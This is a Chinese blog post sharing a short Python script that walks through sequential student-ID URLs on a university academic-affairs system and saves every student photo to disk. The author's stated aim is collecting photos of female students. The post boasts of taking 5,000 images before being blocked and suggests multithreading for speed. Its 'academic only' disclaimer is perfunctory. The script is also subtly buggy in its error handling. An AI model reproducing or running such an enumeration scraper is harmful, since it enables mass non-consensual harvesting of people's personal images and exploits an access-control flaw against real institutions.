• python获取教务管理系统的MM照片


    前提:你的教务管理系统是明文存储大家的图片,加密的图片就不好弄了...

    也就是能够通过浏览器直接访问...技术上就不存在什么问题了...如果是学号存储的就更方便了

    然后我们就可以写个小脚本了...其实就是直接url获取然后保存在本地...

    第一个python小脚本...练手玩一玩...

    如果要效率高可以用多线程...

    大家就可以愉快的找到MM的照片啦! 不要太过火哟...我下载到5000张的时候就被远程停止了...sad...

     1 import urllib.request
     2 
     3 for i in range(10,10000):
     4     name = "http://www.xx.edu.cn:8081/_photo/student/20110000"
     5     tmp = '%d'%i
     6     while(len(tmp) < 4):
     7         tmp = "0" + tmp 
     8     name = name + tmp + ".jpg"
     9     print(name)
    10     try:
    11         socket = urllib.request.urlopen(name)
    12     except:
    13        print(name+"not exist")
    14     finally:
    15         data = socket.read()
    16         path = r"F:pic"
    17         path = path + tmp + ".jpg"
    18         print(path)
    19         with open(path,"wb") as jpg:
    20             jpg.write(data)
    21         socket.close()

    解释一下...我是用python3.3   2.X的用户要用import urllib2

    4-8行都是处理url字符串的...9行可要可不要

    10行是测试该url是否可访问

    14行之后就是保存到本地了

    纯粹学术交流,请大家不要用于攻击等行为

  • 相关阅读:
    海量数据处理方法
    转:海量数据找中位数
    c显示数字的LED(数字转LED)
    转:30分钟掌握STL
    jQuery 顶部导航尾随滚动,固定浮动在顶部
    使用Visual Studio 创建新的Web Part项目
    java日期工具类
    林志玲为何无法拯救都市丽人的遇冷?
    【LeetCode】Swap Nodes in Pairs
    mysql 数据库备份ubuntu
  • 原文地址:https://www.cnblogs.com/Felix-F/p/3382804.html
Copyright © 2020-2023  润新知